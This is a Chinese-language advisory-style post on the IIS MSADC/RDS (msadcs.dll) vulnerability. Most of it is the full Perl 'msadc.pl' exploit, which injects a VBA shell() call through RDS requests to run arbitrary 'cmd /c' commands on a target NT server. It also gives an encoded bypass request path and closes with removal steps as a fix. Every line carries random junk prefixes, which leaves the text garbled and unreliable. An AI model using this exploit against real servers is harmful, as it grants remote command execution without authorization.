IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
gD?l -RT> Q&;9 x? e 涉及程序：
00y!K
m _D Microsoft NT server
"sCRdx]_ \2$|Ei7 描述：
0S~r gq|O 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
CCx&7f aFY IM`?( 详细：
RrB &\9= 如果你没有时间读详细内容的话，就删除:
3 0H?KAV c:\Program Files\Common Files\System\Msadc\msadcs.dll
)t#W{Gzfmh 有关的安全问题就没有了。
}Y\%RA 4[e X e$ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Yq
K Ceg 5 ;EvNu 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
?tbrbk x 关于利用ODBC远程漏洞的描述，请参看:
QWYJ * ~>|ziHx http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R m( "=( &8lZNv8;(p 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
T~e.PP http://www.microsoft.com/security/bulletins/MS99-025faq.asp Nf\LN$ &8 W6Fo6a "< 这里不再论述。
(<9u-HF# "to;\9lP 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
4r}51 N\ KWHY4 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~DwpoeYX 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
ktIFI`@ w) 2+XA X: YD $UwCMPs X #将下面这段保存为txt文件，然后: "perl -x 文件名"
|6- n bj mfr| :i #!perl
x%B%f`]8 #
B@ EC5Ap* # MSADC/RDS 'usage' (aka exploit) script
l/5
hp. #
i
ct]) # by rain.forest.puppy
W>r+h-kR #
E1
2uZ$X # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jP. dD Yc # beta test and find errors!
5 qA ' m&3xJuKih use Socket; use Getopt::Std;
:3 mh@[V getopts("e:vd:h:XR", \%args);
}GM'.yutX tH4B:Bgj! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
h(DTa n$R)>n Y if (!defined $args{h} && !defined $args{R}) {
Mtx 4'WZ print qq~
t uX |\X Usage: msadc.pl -h <host> { -d <delay> -X -v }
*-X[u: -h <host> = host you want to scan (ip or domain)
53 h0UL -d <seconds> = delay between calls, default 1 second
!4!~L k= -X = dump Index Server path table, if available
{!`6zBsP -v = verbose
x+]" -e = external dictionary file for step 5
|7~<Is~ * Q!3_$<5<E> Or a -R will resume a command session
7yQ 4*UB P+}h$ _x ~; exit;}
x{n=;JD cMIEtK` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/dHF6yW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
yhJ@(tu.Gd if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ar,7S&s H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
k5)om;.w $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{;oP L r+Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
W,u:gzmhw b.938#3, if (!defined $args{R}){ $ret = &has_msadc;
z uCSj~ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%iB ,IEw l^ }c! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
rC5O")I< . "cmd /c ";
eS! /(#T $in=<STDIN>; chomp $in;
ssL\g`xe $command="cmd /c " . $in ;
Wp,R ^d 5V-I1B& if (defined $args{R}) {&load; exit;}
)/P}?` I KPk i}'GO print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
y {Q
{'De &try_btcustmr;
$cg cX "N#Y gSr print "\nStep 2: Trying to make our own DSN...";
a'T;x`b8U, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
4M T 7 `sr i#O SC5ZI print "\nStep 3: Trying known DSNs...";
'"Nr, vQo &known_dsn;
A}!J$V:w] d-%hjy3N print "\nStep 4: Trying known .mdbs...";
y`Z \N
&known_mdb;
!u hT #9s,#
} if (defined $args{e}){
W*G< X.Hf print "\nStep 5: Trying dictionary of DSN names...";
Ort(AfW &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|y*c9 \U0'P;em print "Sorry Charley...maybe next time?\n";
rM SZ" exit;
qgB_=Q#E L},_.$I? ##############################################################################
n+p }\msH jWgX_//! sub sendraw { # ripped and modded from whisker
{{1G`;|v 9 sleep($delay); # it's a DoS on the server! At least on mine...
YYS0` my ($pstr)=@_;
g2]Qv@nxw socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.Y|!:t| die("Socket problems\n");
]@TCk8d$0 if(connect(S,pack "SnA4x8",2,80,$target)){
UZ";a 453r select(S); $|=1;
wM{s|Ay print $pstr; my @in=<S>;
l"]V6!-U select(STDOUT); close(S);
VaPG-n>Vf return @in;
R-14=|7a- } else { die("Can't connect...\n"); }}
j1Ezf=N6` 3 XKf !P ##############################################################################
)gi9f1n` < Z$J<]I sub make_header { # make the HTTP request
,z6~?6m my $msadc=<<EOT
7:~_D7n POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
hG rdtsH? User-Agent: ACTIVEDATA
L.I lBjD Host: $ip
&Qm@9I s Content-Length: $clen
R#KU^]"( Connection: Keep-Alive
qP;OaM
C X Va8&Z ADCClientVersion:01.06
x^CS"v7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R-Sym8c 5-M-X#( --!ADM!ROX!YOUR!WORLD!
=c7;r]Ol Content-Type: application/x-varg
a{e4i t Content-Length: $reqlen
I:.s_8mH} x"g&#Vq
~ EOT
] R *A ; $msadc=~s/\n/\r\n/g;
Xr{v ~bf return $msadc;}
n tY]SK%Z SA z ##############################################################################
aDCwI :Li( pJ {Y
lS{ sub make_req { # make the RDS request
Debv4Gr;^ my ($switch, $p1, $p2)=@_;
f!"w5qC^ my $req=""; my $t1, $t2, $query, $dsn;
= / 8cp ?4B`9<j8% if ($switch==1){ # this is the btcustmr.mdb query
%$mA03[MQ $query="Select * from Customers where City=" . make_shell();
54/=G(F $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
` {Ul! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
])!*_ 8_F1AU? u elsif ($switch==2){ # this is general make table query
)X!,3Ca{43 $query="create table AZZ (B int, C varchar(10))";
OKV8zO $dsn="$p1";}
5X+A"X
; C qb4z
T elsif ($switch==3){ # this is general exploit table query
2?x4vI
np; $query="select * from AZZ where C=" . make_shell();
ME dWLFf $dsn="$p1";}
Ls%MGs9PI [!z ,lY> elsif ($switch==4){ # attempt to hork file info from index server
+q oRP 2 $query="select path from scope()";
ix$bRdl $dsn="Provider=MSIDXS;";}
Y0>y8U V M_8{]uo elsif ($switch==5){ # bad query
iB{V^ksU $query="select";
"o D[v $dsn="$p1";}
/o[w4 d8 VE24ToI?W" $t1= make_unicode($query);
O84i;S+-p $t2= make_unicode($dsn);
xA/D' $req = "\x02\x00\x03\x00";
Ned."e $req.= "\x08\x00" . pack ("S1", length($t1));
XR H!]! $req.= "\x00\x00" . $t1 ;
6 r "<jh # $req.= "\x08\x00" . pack ("S1", length($t2));
TNth $req.= "\x00\x00" . $t2 ;
?EL zj $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
pFXEu= $3 return $req;}
xwr8` ?]y OH88 n69 ##############################################################################
q@qsp&0/ Zh,71Umz sub make_shell { # this makes the shell() statement
_^;Z ~/. return "'|shell(\"$command\")|'";}
#jk_ 5W rc{v$.o0 ##############################################################################
M{\I8oOg "{n&~H` sub make_unicode { # quick little function to convert to unicode
( =$ x.1 my ($in)=@_; my $out;
Q@niNDaW2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
y^k$Us return $out;}
`gJ( 0#ac yr6V3],Tp ##############################################################################
Kgv T"s. GmG 5[?) sub rdo_success { # checks for RDO return success (this is kludge)
y(&Ac[foS} my (@in) = @_; my $base=content_start(@in);
\lY_~*J if($in[$base]=~/multipart\/mixed/){
ebq4g387X return 1 if( $in[$base+10]=~/^\x09\x00/ );}
"8/,Y"W" return 0;}
5bIw?%dk( (mOtU8 e ##############################################################################
v^iAD2 X/F *#2h/ Q. sub make_dsn { # this makes a DSN for us
T+$[eWk"a my @drives=("c","d","e","f");
L-Lvp%% print "\nMaking DSN: ";
* I +Q~4 foreach $drive (@drives) {
, _P-$lB print "$drive: ";
0a7Ppntb@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
5N]" ~w* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@d_M@\r=j . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
E{\2='3\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
=*Lfl'sr_ return 0 if $2 eq "404"; # not found/doesn't exist
H+#FSdy# if($2 eq "200") {
{_}I!`opr$ foreach $line (@results) {
0"R|..l/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z{543~Og59 } return 0;}
IgzQr > FwK] $4* ##############################################################################
vI?, 47Hj+ "7
yD0T)2 sub verify_exists {
l}h!B_P' my ($page)=@_;
eE Kf|I my @results=sendraw("GET $page HTTP/1.0\n\n");
8|^7ai[am return $results[0];}
IBGrt^$M 6Zo}(^Ovz ##############################################################################
p C DmXB + 3gp%` c4 sub try_btcustmr {
Y2TtY ; my @drives=("c","d","e","f");
#Z #-Ht my @dirs=("winnt","winnt35","winnt351","win","windows");
mq l
Z?- mDWG7 Asp foreach $dir (@dirs) {
Sz~OX6L print "$dir -> "; # fun status so you can see progress
wzA$'+Mb foreach $drive (@drives) {
SM '|+ d print "$drive: "; # ditto
kM 6
Qp $reqlen=length( make_req(1,$drive,$dir) ) - 28;
VVZ'i.*_3? $reqlenlen=length( "$reqlen" );
3Vwh|1? $clen= 206 + $reqlenlen + $reqlen;
F
[M,]? J ,hCvm my @results=sendraw(make_header() . make_req(1,$drive,$dir));
M:8R -c#![ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
s7<AfaJPF else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
>z03{=sAN sK{e*[I>W ##############################################################################
'F<TSy|4kI s%S sub odbc_error {
Y*^[P,+J*} my (@in)=@_; my $base;
eRYK3W my $base = content_start(@in);
$ `c:& if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.8R@2c`}Cs $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NUZl`fu1Z4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8y L Y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-~ 0^P, yQ return $in[$base+4].$in[$base+5].$in[$base+6];}
q'DW~ !>qX print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Wr i<h:1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
8Wx=p#_ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%{|p j
+ 2: kH[ # ##############################################################################
+nL[MSw -~1~I
e2 sub verbose {
*p U x8yB my ($in)=@_;
Oz95 return if !$verbose;
NOv a'qk print STDOUT "\n$in\n";}
)2.Si# e=
AKD# ##############################################################################
oxs#866x wp_0+$ ?s sub save {
{mg2pf hB! my ($p1, $p2, $p3, $p4)=@_;
!a `&O-ye open(OUT, ">rds.save") || print "Problem saving parameters...\n";
fVlB=8DNk& print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X8|, close OUT;}
ueud Rb icgfB-1|i ##############################################################################
S'" Df5 HfVZ~P P sub load {
F%|h;+5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
aUp
g u" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
f#;> g @p=<IN>; close(IN);
;pAK_> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
d=(mw_-? $target= inet_aton($ip) || die("inet_aton problems");
3BI1fXT4=j print "Resuming to $ip ...";
wMn
i $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
j%kncGS if($p[1]==1) {
TOt dUO $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
N7"W{"3D $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Xvu(vA my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
aN?zmkPpov if (rdo_success(@results)){print "Success!\n";}
=bOW~0Z1 else { print "failed\n"; verbose(odbc_error(@results));}}
]Z e1s02( elsif ($p[1]==3){
:;}P*T*PU if(run_query("$p[3]")){
]^E?;1$f? print "Success!\n";} else { print "failed\n"; }}
**%37 elsif ($p[1]==4){
P
pb \6|* if(run_query($drvst . "$p[3]")){
$4L zcwG print "Success!\n"; } else { print "failed\n"; }}
54 T`OE
= exit;}
uRvP hkqm +7Gwg ##############################################################################
[0!( xp^ Z@HEj_n sub create_table {
6 P3*Z my ($in)=@_;
Z.,MV cd $reqlen=length( make_req(2,$in,"") ) - 28;
y[;>#j$ $reqlenlen=length( "$reqlen" );
>MZ/| `[M $clen= 206 + $reqlenlen + $reqlen;
{: /}NpA$ my @results=sendraw(make_header() . make_req(2,$in,""));
?<!| return 1 if rdo_success(@results);
ch]IzdD my $temp= odbc_error(@results); verbose($temp);
Ok etwa return 1 if $temp=~/Table 'AZZ' already exists/;
BmT! aue return 0;}
rI\FI0zIp_ itz,m r P ##############################################################################
=_CzH(=f # - ). C sub known_dsn {
6ujW Nf # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Yy8g( bU my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
\z$= K "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ZJoM?g~WFI "banner", "banners", "ads", "ADCDemo", "ADCTest");
6tZI["\ !
nx{
X foreach $dSn (@dsns) {
W?& %x(6M print ".";
iZmcI;?u next if (!is_access("DSN=$dSn"));
4g/dP ^ if(create_table("DSN=$dSn")){
I%) :1\) print "$dSn successful\n";
4eu O1= if(run_query("DSN=$dSn")){
PT
~D",k print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sO Y:e/_F print "Something's borked. Use verbose next time\n";}}} print "\n";}
;uW FHc5@B Z+SRXKQ ##############################################################################
, gH Dx y_,bu^+* sub is_access {
z?zL9 7H my ($in)=@_;
@EA bF>> $reqlen=length( make_req(5,$in,"") ) - 28;
e20-h3h+ $reqlenlen=length( "$reqlen" );
]:;&1h3'7 $clen= 206 + $reqlenlen + $reqlen;
K3C <{ #r my @results=sendraw(make_header() . make_req(5,$in,""));
\e_O4
my $temp= odbc_error(@results);
}Z>)DN=+ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
#ob/p#k return 0;}
}]Tx lSp!; k)u[0} ##############################################################################
@HW *09TG %y@AA>x! sub run_query {
y(Td/rY. my ($in)=@_;
:gT4K-O j $reqlen=length( make_req(3,$in,"") ) - 28;
rNM;Z PF# $reqlenlen=length( "$reqlen" );
oU|c.mYe $clen= 206 + $reqlenlen + $reqlen;
0x7'^Z>-oe my @results=sendraw(make_header() . make_req(3,$in,""));
X]=t> return 1 if rdo_success(@results);
C~[,z.FvO my $temp= odbc_error(@results); verbose($temp);
ex|F|0k4} return 0;}
PH"%kCI: +p^u^a ##############################################################################
_@g;8CA IID5c"
oR sub known_mdb {
]9L
oZ) my @drives=("c","d","e","f","g");
Q\)F;: | my @dirs=("winnt","winnt35","winnt351","win","windows");
_wcNgFx my $dir, $drive, $mdb;
hph4 `{T my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8fb'yjIC ^{{ q V # this is sparse, because I don't know of many
V]N?6\Op my @sysmdbs=( "\\catroot\\icatalog.mdb",
WHI`/FM "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+#By* ;BJ "\\system32\\certmdb.mdb",
]9X DS[<2` "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-&;TA0~; U&xUfBDt my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
nm+s{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
.2pK.$. "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
C>~TI,5a3 "\\cfusion\\cfapps\\security\\realm_.mdb",
x pI wrJO "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{T8Kk)L "\\cfusion\\database\\cfexamples.mdb",
[V!tVDs&'o "\\cfusion\\database\\cfsnippets.mdb",
w*!aZ,P "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
fatf*}eln "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
| ' . "\\cfusion\\brighttiger\\database\\cleam.mdb",
8[>zG2 "\\cfusion\\database\\smpolicy.mdb",
W l1 6`9 "\\cfusion\\database\cypress.mdb",
@H<q"-J "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7rPF$ \# "\\website\\cgi-win\\dbsample.mdb",
J= L5=G7( "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
qa 6,z.mQ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
7 ?t6UPf ); #these are just
Ewm9\qmg foreach $drive (@drives) {
6 r_)sHf foreach $dir (@dirs){
[:V$y1 foreach $mdb (@sysmdbs) {
dTtSUA|V7" print ".";
I0a<%;JJW if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Jo}eeJ;k print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
??T #QQ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
L+QLLcS~EM print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$SE^S } else { print "Something's borked. Use verbose next time\n"; }}}}}
"\=U)C J pm ilrZmm] foreach $drive (@drives) {
:Yks|VJ1 foreach $mdb (@mdbs) {
Z/K{A` print ".";
BB'OCN if(create_table($drv . $drive . $dir . $mdb)){
'\GbmD ^F print "\n" . $drive . $dir . $mdb . " successful\n";
;GI&lpKK if(run_query($drv . $drive . $dir . $mdb)){
bTu9;( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
p$>l7?h } else { print "Something's borked. Use verbose next time\n"; }}}}
F>cv<l
=6l }
]fD}
^s3G _y3Xb `0a ##############################################################################
%#}Z y
"Pf~iwfw sub hork_idx {
e]tDy0@ print "\nAttempting to dump Index Server tables...\n";
{ V- v-f print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
m_l [MG\ $reqlen=length( make_req(4,"","") ) - 28;
)Beiu* $reqlenlen=length( "$reqlen" );
F/A|(AH' $clen= 206 + $reqlenlen + $reqlen;
z~Q>V]a>; my @results=sendraw2(make_header() . make_req(4,"",""));
LrK,_)r:~ if (rdo_success(@results)){
@]#1(9P my $max=@results; my $c; my %d;
# u
+ v_ for($c=19; $c<$max; $c++){
6 _ow%Rx~F $results[$c]=~s/\x00//g;
pBPl6%C.X- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
i@ BtM9: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
[=_jYzD,j| $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Q dp )cT $d{"$1$2"}="";}
s!e3|pGS foreach $c (keys %d){ print "$c\n"; }
2T TdH) } else {print "Index server doesn't seem to be installed.\n"; }}
X~i<g?] _Y[bMuUb= ##############################################################################
1>& ]R= r(2uu sub dsn_dict {
e NafpK open(IN, "<$args{e}") || die("Can't open external dictionary\n");
s|B3~Q] while(<IN>){
w8D"CwS1Rx $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
lUiL\~Gq next if (!is_access("DSN=$dSn"));
K!]/(V(} if(create_table("DSN=$dSn")){
9!DQ~k% print "$dSn successful\n";
.K<Q& if(run_query("DSN=$dSn")){
o\)F}j&b#= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@{pLk4E print "Something's borked. Use verbose next time\n";}}}
]}(H0?OQR print "\n"; close(IN);}
wIBO
^w\J |qZ1| ##############################################################################
Bn g@-#`/ 5-xX8-ElYz sub sendraw2 { # ripped and modded from whisker
#`X?=/q sleep($delay); # it's a DoS on the server! At least on mine...
:Qf '2.h) my ($pstr)=@_;
QW~1% ` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`%Al>u5 die("Socket problems\n");
@[i4 ^ if(connect(S,pack "SnA4x8",2,80,$target)){
d6sye^P print "Connected. Getting data";
e,XYVWY% open(OUT,">raw.out"); my @in;
1q1jZqno select(S); $|=1; print $pstr;
fLm*1S|%\ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
\`\ZTZni close(OUT); select(STDOUT); close(S); return @in;
{LQ#y/ H? } else { die("Can't connect...\n"); }}
h@WhNk7"xa {Wu$YWE*sx ##############################################################################
y e? 'Ze A4<Uu~ sub content_start { # this will take in the server headers
4^OY
C my (@in)=@_; my $c;
:e%Pvk for ($c=1;$c<500;$c++) {
PO 7Lf#9] if($in[$c] =~/^\x0d\x0a/){
)$bS }. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
kO*$"w#X[p else { return $c+1; }}}
PJrtM AcKq return -1;} # it should never get here actually
e?ly H 'V=P*#|SR ##############################################################################
jc f #6 ]Y8<`;8/ sub funky {
/U)D5ot< my (@in)=@_; my $error=odbc_error(@in);
_ T):G6C8 if($error=~/ADO could not find the specified provider/){
i`$*T y"x print "\nServer returned an ADO miscofiguration message\nAborting.\n";
tX %5BTv exit;}
O[)kb oY if($error=~/A Handler is required/){
rOOT8nkR# print "\nServer has custom handler filters (they most likely are patched)\n";
}\:Nu Tf exit;}
"#oHYz3D if($error=~/specified Handler has denied Access/){
ouFYvtF g print "\nServer has custom handler filters (they most likely are patched)\n";
u=7J /!H7^ exit;}}
pF Rg?- DOJ N2{IP ##############################################################################
W_8wed:b ~`\?"s: sub has_msadc {
]4]6Qki my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4 k _vdz my $base=content_start(@results);
c~uKsU return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
K[r^'P5m return 0;}
b@ f$nS
B k $J zH$ ########################
4$S;( g8xQ|px >kp?vK;'B 解决方案：
QPg8;O 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
0rDh}<upjk 2、移除web 目录: /msadc
